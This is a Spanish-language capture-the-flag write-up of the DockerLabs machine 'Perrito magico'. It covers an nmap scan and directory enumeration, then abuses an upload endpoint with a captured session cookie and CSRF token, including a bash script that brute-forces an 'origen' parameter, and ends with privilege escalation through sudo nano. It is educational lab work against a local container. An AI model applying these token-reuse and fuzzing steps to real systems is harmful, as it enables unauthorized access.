Post

Perrito magico, DockerLabs

portada

Herramientas y recursos

En este reto de DockerLabs practicamos.

Tecnicas Herramientas
scan de puertos nmap
inyeccion xss payloads
Abuso de sudo Python Library Hijacking

Reconocimiento y enumeracion

Lo primero como siempre le tiramos un nmap con los parámetros de costumbre.

1
sudo nmap -p- -sS -sC -sV --min-rate=5000 -n -Pn -oX bola 172.17.0.3

reporte

En esta maquina hemos de ser capaces de cambiar la imagen de la maquina sin importar el rol que tengamos , por tanto hemos de ser capaces de obtener token y endpoints necesarios.

Lo primero me abro el burpsuite para empezar a navegar por la web capturando para revisar posteriormente si algo nos es util , pongo el scope de ese modo todo lo que no sea el scope lo deja pasar sin problemas para poder realizar cualquier otra consulta de cualquier web que necesitemos.

scope

Lanzo feroxbuster a ver que es capaz de capturar

ferox

De todo lo que nos reporta ferox el que nos interesa es el /api/summary creo recordar que en otra maquina se llamaba doc o redocs que vendria a ser la documentacion de la api con algunos endpoints, si vamos a la web podemos verlo.

api

endpoint

Esta es la parte interesante donde vemos los parametros que necesitamos para modificar algo y arriba del todo nos indica que debemos estar registrados para ese endpoint /gestion-maquinas/upload-logo.Vamos a ver que tenemos con burpsuite despues de toquetear halla donde nos dejo, encuentro algo interesante en el endpoit /subir-flag el token y el csrf-token que pueden ser utiles para el endpoint que vimos en summary.

tokens

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /subir-flag HTTP/1.1
Host: 172.17.0.2:5000
Content-Length: 42
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36
Content-Type: application/json
X-CSRFToken: a89718943f1264cc8d9b2cb7a3d667578a81e885cdfe84c02132bc80134bb7b1
Accept: */*
Sec-GPC: 1
Accept-Language: es-419,es;q=0.7
Origin: http://172.17.0.2:5000
Referer: http://172.17.0.2:5000/bunkerlabs
Accept-Encoding: gzip, deflate, br
Cookie: session=.eJwlzDsOwjAMANC7eGao87PTy1Sx41QRIkX9TIi7g9TxLe8DeuxtObenDZihcCbkHHxDl4Iq1yxOhYqvKVEkLozGHLU246CTQ-9EeUIfREgQHnAdti-9wowcb43ysv_97mO9-ujnBt8fLoYj3w.aaV_Xg.Ad9BnXeNF58waUoHrtYUV2ZvL8w
Connection: close

{"maquina":"Dockerlabs-Weak","pin":"1234"}

Empezemos a mandar peticiones con curl para averiguar donde debemos fijarnos mas y que errores tenemos dado que uno de los parametros es el machine_id y no lo veo por ningun lado.

2peticiones

Mis dos primeras peticiones llegaron pero me dice datos invalidos aun habiendo cambiado el machineid , no creo que el machine id sea importante creo que es mas estricto el origin que podria ser cualquier cosa.

docker_upload

El origin debe estar relacionado siempre o casi siempre con la infraestructura de la web o eso creo asi que si ni dockerlabs ni bunkerlabs funciono pero docker si aunque no como esperaba solo queda probar bunker que ademas es el referer de la peticion de arriba si no con ayuda de ia un script que vaya probando distintos nombres.

explotada

La peticion corrcta es con bunker

petiok

1
2
3
4
5
6
7
8
    curl -X 'POST' \                                    
  'http://172.17.0.2:5000/gestion-maquinas/upload-logo' \
  -H 'accept: application/json' \
  -b 'session=.eJwlzDsOwjAMANC7eGao87PTy1Sx41QRIkX9TIi7g9TxLe8DeuxtObenDZihcCbkHHxDl4Iq1yxOhYqvKVEkLozGHLU246CTQ-9EeUIfREgQHnAdti-9wowcb43ysv_97mO9-ujnBt8fLoYj3w.aaV_Xg.Ad9BnXeNF58waUoHrtYUV2ZvL8w' \
  -F 'csrf_token=a89718943f1264cc8d9b2cb7a3d667578a81e885cdfe84c02132bc80134bb7b1' \
  -F 'machine_id=1' \
  -F 'origen=bunker' \
  -F 'logo=@/home/firstatack/Documentos/Hacking_machines/dockerlabs/perrito_magico/skills/hackerlogo.jpg;type=image/jpeg'

imagen

Escalada

Como vemos se nmos proporcionaron las credenciales para ssh entramos y con sudo -l vemos que nos ha dejado nano.

search

Ejuctamos y somos root.

root

Hasta aqui la maquinita, gracias por leer.

Informacion para curiosos a partir de este punto

Aqui el script que pretendia usar para realizar fuerza bruta al parametro origin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#!/bin/bash

wordlist="origins.txt"
cookie="session=.eJwlzDsOwjAMANC7eGao87PTy1Sx41QRIkX9TIi7g9TxLe8DeuxtObenDZihcCbkHHxDl4Iq1yxOhYqvKVEkLozGHLU246CTQ-9EeUIfREgQHnAdti-9wowcb43ysv_97mO9-ujnBt8fLoYj3w.aaV_Xg.Ad9BnXeNF58waUoHrtYUV2ZvL8w"
token="a89718943f1264cc8d9b2cb7a3d667578a81e885cdfe84c02132bc80134bb7b1"
imagen="/home/firstatack/Documentos/Hacking_machines/dockerlabs/perrito_magico/skills/hackerlogo.jpg"

echo "[*] Iniciando fuzzing de origen..."

for word in $(cat "$wordlist"); do

    clean_word=$(echo "$word" | tr -d '\r\n ')

    echo -n "Probando: $clean_word ... "

    # Ejecutamos y filtramos directamente con grep para mayor velocidad y precisión
    # -w 0 desactiva el límite de ancho de banda, -L sigue redirecciones
    result=$(curl -s -L -X POST 'http://172.17.0.2:5000/gestion-maquinas/upload-logo' \
      -b "$cookie" \
      -H "X-CSRFToken: $token" \
      -F "machine_id=1" \
      -F "origen=$clean_word" \
      -F "logo=@$imagen;type=image/jpeg" | grep -iE "Logo subido correctamente|exploit_triggered")

    if [ ! -z "$result" ]; then
        echo -e "\n\n[+] ¡ACIERTO CRÍTICO ENCONTRADO!"
        echo "[+] Origen: $clean_word"
        echo "[+] Respuesta completa: $result"
        exit 0
    else
        echo "Fallido."
    fi

    sleep 5
done

El diccionario que cree contenia esta lista:

dockerlabs local bunkerlabs production development staging web api testing default s3_storage vault proxy_pass direct_upload system_upload cloud_bunker nas_storage bunker docker bunker_api bunker_local bunker_node bunker_management bunkerserver perrito perritomagico magico magic_origin docker_node internal_bunker private_bunker

No llegaban a 30 y como ven en el script hay un sleep de 5 segundos , la cuestion es que me preocupo porque con el sudo bruteforce de mario ya tenia que ajustar el tiempo entre solicitudes no tan exagerado como en este.

Al mandar peticiones al principio cada 0.5 se podria estar afectando la estabilidad del backend y al usar siempre la misma cookie y con palabras incorrectas “en este caso origin” el server puede atascarse devolviendo errores antes de mandar el nuevo valor , aparte es una api de entrono de laboratorio no hay un gran server detras y tambien podria ignorar paquetes por saturacion.

Ahora si gracias por leer.

This post is licensed under CC BY 4.0 by the author.

Comments powered by Disqus.